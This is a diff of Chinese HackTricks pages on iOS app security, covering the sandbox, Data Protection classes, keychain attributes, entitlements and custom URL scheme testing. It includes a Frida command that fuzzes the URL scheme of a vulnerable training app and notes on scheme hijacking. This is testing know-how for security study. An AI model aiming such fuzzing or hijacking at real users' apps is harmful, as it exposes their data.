* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# 权限分离和沙盒
|
||||
# 权限分离与沙箱
|
||||
|
||||
在iOS中,用户可访问的应用程序和系统核心进程之间存在权限区别。应用程序在**`mobile`**用户标识下运行,而关键的系统进程则以**`root`**身份运行。这种分离由沙盒机制增强,该机制对应用程序可以执行的操作施加严格限制。例如,即使应用程序共享相同的用户标识,它们也被禁止访问或修改彼此的数据。
|
||||
在 iOS 中,用户可访问的应用程序与系统核心进程之间存在权限区分。应用程序在 **`mobile`** 用户身份下运行,而关键的系统进程则以 **`root`** 身份运行。这种分离通过沙箱机制得到了增强,该机制对应用程序可以执行的操作施加了严格限制。例如,即使应用程序共享相同的用户身份,它们也被禁止访问或修改彼此的数据。
|
||||
|
||||
应用程序安装在特定目录(`private/var/mobile/Applications/{随机ID}`)中,并且对某些系统区域和功能的读取访问受到限制,例如短信和电话呼叫。对受保护区域的访问会触发用户权限请求弹出窗口。
|
||||
应用程序安装在特定目录(`private/var/mobile/Applications/{random ID}`)中,并对某些系统区域和功能(如短信和电话)具有有限的读取访问权限。访问受保护区域会触发用户权限请求的弹出窗口。
|
||||
|
||||
# 数据保护
|
||||
|
||||
iOS提供了建立在安全区域处理器(SEP)之上的**数据保护API**,安全区域处理器是专用的协处理器,用于加密操作和密钥管理。SEP通过嵌入其中的设备特定密钥——设备UID来确保数据保护的完整性。
|
||||
iOS 为开发者提供了 **数据保护 API**,该 API 建立在安全隔离处理器(SEP)之上——一个专门用于加密操作和密钥管理的协处理器。SEP 通过嵌入其中的唯一设备特定密钥(设备 UID)确保数据保护的完整性。
|
||||
|
||||
在文件创建时,会生成一个唯一的256位AES加密密钥,用于加密文件内容。然后,将此加密密钥与类别ID一起使用类别密钥加密,并存储在文件的元数据中。解密文件涉及使用系统密钥访问元数据,检索带有类别ID的类别密钥,然后解密文件的唯一加密密钥。
|
||||
在文件创建时,会生成一个唯一的 256 位 AES 加密密钥,用于加密文件内容。该加密密钥与类 ID 一起,使用类密钥进行加密并存储在文件的元数据中。解密文件涉及使用系统密钥访问元数据,使用类 ID 检索类密钥,然后解密文件的唯一加密密钥。
|
||||
|
||||
iOS为数据安全定义了**四种保护类别**,确定何时以及如何访问数据:
|
||||
iOS 定义了 **四个保护类** 用于数据安全,决定何时以及如何访问数据:
|
||||
|
||||
- **完全保护(NSFileProtectionComplete)**:在使用用户密码解锁设备之前,数据是不可访问的。
|
||||
- **除非打开保护(NSFileProtectionCompleteUnlessOpen)**:允许在设备锁定后访问文件,前提是在设备解锁时已打开文件。
|
||||
- **直到首次用户身份验证前保护(NSFileProtectionCompleteUntilFirstUserAuthentication)**:在首次用户解锁后,数据可访问,即使设备再次锁定也保持可访问。
|
||||
- **无保护(NSFileProtectionNone)**:数据仅由设备UID保护,便于快速远程数据擦除。
|
||||
- **完全保护 (NSFileProtectionComplete)**:在使用用户密码解锁设备之前,数据无法访问。
|
||||
- **除非打开受保护 (NSFileProtectionCompleteUnlessOpen)**:即使设备被锁定,只要在设备解锁时打开了文件,仍然允许访问文件。
|
||||
- **直到第一次用户身份验证受保护 (NSFileProtectionCompleteUntilFirstUserAuthentication)**:在首次用户解锁后,数据可访问,即使设备再次被锁定也保持可访问。
|
||||
- **无保护 (NSFileProtectionNone)**:数据仅由设备 UID 保护,便于快速远程数据擦除。
|
||||
|
||||
除了`NSFileProtectionNone`,所有类别的加密都涉及从设备UID和用户密码派生的密钥,确保只能在具有正确密码的设备上解密。从iOS 7开始,默认保护类别为“直到首次用户身份验证前”。
|
||||
所有类的加密,除了 `NSFileProtectionNone`,都涉及一个由设备 UID 和用户密码派生的密钥,确保只有在具有正确密码的设备上才能解密。从 iOS 7 开始,默认保护类为“直到第一次用户身份验证受保护”。
|
||||
|
||||
开发人员可以使用[**FileDP**](https://github.com/abjurato/FileDp-Source),这是一个用于检查iPhone上文件数据保护类别的工具。
|
||||
开发者可以使用 [**FileDP**](https://github.com/abjurato/FileDp-Source) 工具检查 iPhone 上文件的数据保护类。
|
||||
```python
|
||||
# Example code to use FileDP for checking file protection class
|
||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||
|
@ -44,44 +45,44 @@ python filedp.py /path/to/check
|
|||
```
|
||||
## **钥匙串**
|
||||
|
||||
在iOS中,**钥匙串**充当一个安全的**加密容器**,用于存储**敏感信息**,只能被存储它的应用程序或明确授权的应用程序访问。这种加密由iOS生成的唯一**密码**加固,该密码本身使用**AES**加密。这种加密过程利用了一个**PBKDF2函数**,将用户的密码与从设备的**UID**派生的盐结合起来,这是只有**安全区芯片组**才能访问的组件。因此,即使用户的密码已知,钥匙串内容在除了最初加密它们的设备之外的任何设备上都是无法访问的。
|
||||
在 iOS 中,**钥匙串**作为一个安全的**加密容器**,用于存储**敏感信息**,仅可由存储它的应用程序或那些明确授权的应用程序访问。这种加密由 iOS 生成的唯一**密码**增强,该密码本身使用**AES**加密。此加密过程利用**PBKDF2 函数**,将用户的密码与来自设备的**UID**派生的盐结合,只有**安全隔离芯片**可以访问该组件。因此,即使用户的密码已知,钥匙串的内容在任何其他设备上仍然无法访问,只有在最初加密的设备上才能访问。
|
||||
|
||||
对钥匙串数据的**管理和访问**由**`securityd`守护程序**处理,基于特定的应用程序权限,如`Keychain-access-groups`和`application-identifier`。
|
||||
**钥匙串数据的管理和访问**由**`securityd` 守护进程**处理,基于特定的应用程序权限,如 `Keychain-access-groups` 和 `application-identifier`。
|
||||
|
||||
### **钥匙串API操作**
|
||||
### **钥匙串 API 操作**
|
||||
|
||||
钥匙串API在[苹果的钥匙串服务文档](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html)中详细介绍了安全存储管理的基本功能:
|
||||
钥匙串 API 的详细信息请参见 [Apple 的钥匙串服务文档](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html),提供了安全存储管理的基本功能:
|
||||
|
||||
- **`SecItemAdd`**:向钥匙串添加新项目。
|
||||
- **`SecItemUpdate`**:更新钥匙串中的现有项目。
|
||||
- **`SecItemCopyMatching`**:从钥匙串检索项目。
|
||||
- **`SecItemCopyMatching`**:从钥匙串中检索项目。
|
||||
- **`SecItemDelete`**:从钥匙串中删除项目。
|
||||
|
||||
对钥匙串密码进行暴力破解涉及直接攻击加密密钥或尝试猜测设备本身的密码,受到安全区强制执行的失败尝试之间延迟的显著阻碍。
|
||||
暴力破解钥匙串密码涉及直接攻击加密密钥或尝试在设备上猜测密码,这在很大程度上受到安全隔离的强制延迟的阻碍。
|
||||
|
||||
### **配置钥匙串项目数据保护**
|
||||
|
||||
在创建或更新项目时,使用`kSecAttrAccessible`属性设置钥匙串项目的数据保护级别。这些级别,[由苹果指定](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100),确定何时以及如何访问钥匙串项目:
|
||||
钥匙串项目的数据保护级别在项目创建或更新时使用 `kSecAttrAccessible` 属性设置。这些级别,[如 Apple 所指定](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100),决定了钥匙串项目何时以及如何可访问:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**:无论设备锁定状态如何,都可以随时访问。
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**:始终可访问,但不包含在备份中。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**:在重新启动后第一次解锁后可访问。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**:与上述相同,但不能转移到新设备。
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**:只有在设备解锁时才能访问。
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**:解锁时可访问,不包含在备份中。
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**:需要设备密码,不包含在备份中。
|
||||
- **`kSecAttrAccessibleAlways`**:随时可访问,无论设备锁定状态如何。
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**:始终可访问,但不包括在备份中。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**:在重启后的第一次解锁后可访问。
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**:与上述相同,但不可转移到新设备。
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**:仅在设备解锁时可访问。
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**:解锁时可访问,不包括在备份中。
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**:需要设备密码,不包括在备份中。
|
||||
|
||||
**`AccessControlFlags`**进一步细化访问方法,允许使用生物识别身份验证或密码。
|
||||
**`AccessControlFlags`** 进一步细化访问方法,允许使用生物识别认证或密码。
|
||||
|
||||
### **越狱设备警告**
|
||||
|
||||
{% hint style="warning" %}
|
||||
在**越狱设备**上,钥匙串的保护措施受到损害,构成重大安全风险。
|
||||
在 **越狱设备**上,钥匙串的保护被破坏,构成重大安全风险。
|
||||
{% endhint %}
|
||||
|
||||
### **钥匙串数据的持久性**
|
||||
|
||||
与应用程序卸载时删除的特定于应用程序的数据不同,**钥匙串数据在设备上持久存在**。这一特性可能使二手设备的新所有者通过简单地重新安装应用程序来访问上一个所有者的应用程序数据。建议开发人员在应用程序安装时或在注销时主动清除钥匙串数据以减轻这一风险。以下是一个Swift代码示例,演示如何在第一次启动应用程序时清除钥匙串数据:
|
||||
与在应用程序卸载时删除的应用程序特定数据不同,**钥匙串数据在设备上持久存在**。这一特性可能使二手设备的新拥有者通过重新安装应用程序访问前一个拥有者的应用程序数据。建议开发者在应用程序安装或注销时主动清除钥匙串数据,以降低此风险。以下是一个 Swift 代码示例,演示如何在首次启动应用程序时清除钥匙串数据:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
|
@ -93,23 +94,23 @@ userDefaults.set(true, forKey: "hasRunBefore")
|
|||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
# **应用程序功能**
|
||||
# **应用程序能力**
|
||||
|
||||
在应用程序开发领域,**沙盒**在增强安全性方面发挥着关键作用。该过程确保每个应用程序在其自己独特的主目录中运行,从而防止其访问系统文件或其他应用程序的数据。这些限制的执行是通过沙盒策略来实现的,这些策略是**受信任的BSD(MAC)强制访问控制框架**的一部分。
|
||||
在应用程序开发领域,**沙盒**在增强安全性方面发挥着至关重要的作用。此过程确保每个应用程序在其独特的主目录中运行,从而防止其访问系统文件或其他应用程序的数据。这些限制的执行是通过沙盒策略进行的,这些策略是**受信任的 BSD (MAC) 强制访问控制框架**的一部分。
|
||||
|
||||
开发人员可以为他们的应用程序配置某些**功能或权限**,例如**数据保护**或**钥匙串共享**。这些权限在应用程序安装后立即应用。然而,为了访问某些受保护的资源,应用程序必须在首次尝试时获得用户的明确同意。这是通过使用_目的字符串_或_用途描述字符串_来实现的,这些字符串会显示在权限请求警报中供用户查看。
|
||||
开发人员可以为他们的应用程序配置某些**能力或权限**,例如**数据保护**或**钥匙串共享**。这些权限在应用程序安装后立即生效。然而,要访问某些受保护的资源,应用程序必须在第一次尝试时获得用户的明确同意。这是通过使用_目的字符串_或_使用描述字符串_来实现的,这些字符串在权限请求警报中呈现给用户。
|
||||
|
||||
对于那些可以访问源代码的人,可以通过以下步骤验证`Info.plist`文件中包含的权限:
|
||||
对于有源代码访问权限的人,可以通过以下方式验证`Info.plist`文件中包含的权限:
|
||||
|
||||
1. 在Xcode中打开项目。
|
||||
2. 定位并打开`Info.plist`文件。
|
||||
3. 搜索以`"Privacy -"`为前缀的键,可以选择查看原始键/值以获得更清晰的视图。
|
||||
1. 在 Xcode 中打开项目。
|
||||
2. 找到并打开`Info.plist`文件。
|
||||
3. 搜索以“Privacy -”为前缀的键,并可以查看原始键/值以便于理解。
|
||||
|
||||
处理IPA文件时,可以按照以下步骤操作:
|
||||
处理 IPA 文件时,可以按照以下步骤进行:
|
||||
|
||||
1. 解压IPA文件。
|
||||
1. 解压 IPA。
|
||||
2. 在`Payload/<appname>.app/`中找到`Info.plist`文件。
|
||||
3. 必要时将文件转换为XML格式,以便更轻松地检查。
|
||||
3. 如有必要,将文件转换为 XML 格式,以便于检查。
|
||||
|
||||
例如,`Info.plist`文件中的目的字符串可能如下所示:
|
||||
```xml
|
||||
|
@ -118,34 +119,37 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
|||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
## 设备功能
|
||||
应用程序的 `Info.plist` 文件指定了帮助App Store筛选设备兼容性的**设备功能**。这些功能在 **`UIRequiredDeviceCapabilities`** 键下定义。例如:
|
||||
## Device Capabilities
|
||||
应用程序的 `Info.plist` 文件指定了 **设备能力**,帮助 App Store 过滤与设备兼容的应用程序。这些在 **`UIRequiredDeviceCapabilities`** 键下定义。例如:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
这个例子表明该应用程序与 armv7 指令集兼容。开发人员还可以指定诸如 nfc 的功能,以确保他们的应用程序仅在支持 NFC 的设备上可用。
|
||||
|
||||
## 权限
|
||||
|
||||
**权限** 是 iOS 应用开发的另一个关键方面,它们是键值对,授予应用执行某些操作的权限,超出运行时检查。例如,在应用中启用 **数据保护** 需要在 Xcode 项目中添加特定的权限,然后在应用的权限文件或 IPAs 的嵌入式移动配置文件中反映出来。
|
||||
**权限**是 iOS 应用开发的另一个关键方面,作为键值对,授予应用程序执行某些操作的权限,超出运行时检查。例如,在应用程序中启用 **数据保护** 涉及在 Xcode 项目中添加特定权限,这随后反映在应用程序的权限文件或 IPA 的嵌入式移动配置文件中。
|
||||
|
||||
# 参考资料
|
||||
# 参考文献
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
这是来自[https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)相关信息的摘要。
|
||||
这是来自 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/) 的相关信息摘要
|
||||
|
||||
## 基本信息
|
||||
|
||||
自定义URL schemes使应用程序能够使用自定义协议进行通信,详细信息请参阅[Apple开发人员文档](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。这些方案必须由应用程序声明,然后处理遵循这些方案的传入URL。**验证所有URL参数**并**丢弃任何格式错误的URL**是至关重要的,以防止通过此向量进行攻击。
|
||||
自定义 URL 方案使应用能够使用自定义协议进行通信,详细信息见 [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。这些方案必须由应用声明,然后处理遵循这些方案的传入 URL。至关重要的是 **验证所有 URL 参数** 并 **丢弃任何格式不正确的 URL** 以防止通过此向量进行攻击。
|
||||
|
||||
例如,URI `myapp://hostname?data=123876123` 调用特定应用程序操作。一个已知的漏洞出现在Skype移动应用程序中,允许通过`skype://`协议执行未经许可的呼叫操作。注册的方案可以在应用程序的`Info.plist`中的`CFBundleURLTypes`下找到。恶意应用程序可以通过重新注册URI来拦截敏感信息来利用这一点。
|
||||
给出了一个示例,其中 URI `myapp://hostname?data=123876123` 调用特定的应用操作。一个已知的漏洞出现在 Skype Mobile 应用中,它允许通过 `skype://` 协议进行未授权的呼叫操作。注册的方案可以在应用的 `Info.plist` 中的 `CFBundleURLTypes` 下找到。恶意应用可以通过重新注册 URI 来拦截敏感信息。
|
||||
|
||||
### 应用程序查询方案注册
|
||||
### 应用查询方案注册
|
||||
|
||||
从iOS 9.0开始,要检查应用程序是否可用,`canOpenURL:`需要在`Info.plist`中的`LSApplicationQueriesSchemes`下声明URL方案。这限制了应用程序可以查询的方案为50个,通过阻止应用程序枚举来增强隐私保护。
|
||||
从 iOS 9.0 开始,要检查应用是否可用,`canOpenURL:` 需要在 `Info.plist` 中的 `LSApplicationQueriesSchemes` 下声明 URL 方案。这将应用可以查询的方案限制为 50,增强了隐私,防止了应用枚举。
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
|
@ -30,9 +31,9 @@
|
|||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
### 测试URL处理和验证
|
||||
### 测试 URL 处理和验证
|
||||
|
||||
开发人员应检查源代码中的特定方法,以了解URL路径的构建和验证,例如 `application:didFinishLaunchingWithOptions:` 和 `application:openURL:options:`。例如,Telegram 使用各种方法来打开URL:
|
||||
开发者应检查源代码中的特定方法,以了解 URL 路径构造和验证,例如 `application:didFinishLaunchingWithOptions:` 和 `application:openURL:options:`。例如,Telegram 使用多种方法来打开 URL:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
### 测试向其他应用程序发送URL请求
|
||||
### 测试对其他应用的 URL 请求
|
||||
|
||||
诸如 `openURL:options:completionHandler:` 这样的方法对于打开URL以与其他应用程序交互至关重要。在应用程序源代码中识别这些方法的使用对于理解外部通信至关重要。
|
||||
像 `openURL:options:completionHandler:` 这样的方法对于打开 URL 以与其他应用交互至关重要。识别应用源代码中此类方法的使用对于理解外部通信至关重要。
|
||||
|
||||
### 测试已弃用的方法
|
||||
|
||||
应该识别处理URL打开的已弃用方法,例如 `application:handleOpenURL:` 和 `openURL:`,并对其进行安全性影响审查。
|
||||
处理 URL 打开的已弃用方法,如 `application:handleOpenURL:` 和 `openURL:`,应被识别并审查其安全影响。
|
||||
|
||||
### 对URL方案进行模糊测试
|
||||
### 模糊测试 URL 方案
|
||||
|
||||
对URL方案进行模糊测试可以识别内存损坏漏洞。像[Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)这样的工具可以通过使用不同有效负载打开URL来自动化此过程,以监视崩溃情况,例如在 iGoat-Swift 应用程序中操纵URL。
|
||||
模糊测试 URL 方案可以识别内存损坏漏洞。像 [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) 这样的工具可以通过打开具有不同有效负载的 URL 来自动化此过程,以监控崩溃,示例为 iGoat-Swift 应用中 URL 的操控:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -74,19 +75,20 @@ Watching for crashes from iGoat...
|
|||
No logs were moved.
|
||||
Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
